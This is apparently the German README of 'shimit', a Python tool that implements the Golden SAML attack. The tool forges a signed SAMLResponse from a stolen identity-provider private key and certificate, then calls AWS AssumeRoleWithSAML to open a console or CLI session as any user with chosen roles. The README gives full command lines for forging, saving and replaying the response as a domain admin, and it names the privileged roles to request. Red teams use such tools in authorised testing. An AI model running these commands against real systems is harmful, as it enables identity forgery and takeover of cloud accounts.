
Ein Tool, das den Golden SAML-Angriff implementiert.
shimit ist ein Python-Tool, das den Golden-SAML-Angriff implementiert. Weitere Informationen dazu finden Sie im folgenden Artikel in unserem Blog.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
Bei einem Golden-SAML-Angriff können Angreifer mit beliebigen Berechtigungen auf eine Anwendung (jede Anwendung, die SAML-Authentifizierung unterstützt) zugreifen und jeder beliebige Benutzer in der Zielanwendung sein.
shimit ermöglicht es dem Benutzer, ein signiertes SAMLResponse-Objekt zu erstellen und damit eine Sitzung im Dienstanbieter zu öffnen. shimit unterstützt derzeit die AWS-Konsole als Dienstanbieter, weitere sind in Arbeit ...
Nachdem die Assertion der SAMLResponse generiert und signiert wurde, ruft shimit die AssumeRoleWithSAML()-API in AWS auf. Anschließend werden das Sitzungs-Token und der Schlüssel auf eine neue Sitzung angewendet, in der der Benutzer die AWS-CLI verwenden kann, um Aktionen mit den durch den golden SAML erlangten Berechtigungen durchzuführen.
Installieren Sie die erforderlichen Module mit folgendem Befehl:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
Muss installiert sein, um die erhaltenen Anmeldeinformationen nutzen zu können. Kann von diesen Links für Windows oder Linux heruntergeladen werden.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - URL des Identitätsanbieters, z.B. http://server.domain.com/adfs/services/trust
pk - Vollständiger Pfad zur privaten Schlüsseldatei (PEM-Format)
c - Vollständiger Pfad zur Zertifikatsdatei (PEM-Format)
u - Benutzer und Domänenname, z.B. Domäne\Benutzername (verwenden Sie \ oder Anführungszeichen unter *nix)
n - Sitzungsname in AWS
r - Gewünschte Rollen in AWS. Unterstützt mehrere Rollen; die zuerst angegebene wird angenommen.
id - AWS-Konto-ID, z.B. 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - Ausgabe der kodierten SAMLResponse in einen angegebenen Dateipfad
python .\shimit.py -l saml_response.xml
l - Laden der SAMLResponse aus einem angegebenen Dateipfad
shimit unterstützt derzeit AWS als Dienstanbieter, als POC. Wir ermutigen Sie ausdrücklich, neue Module für andere Dienstanbieter beizutragen.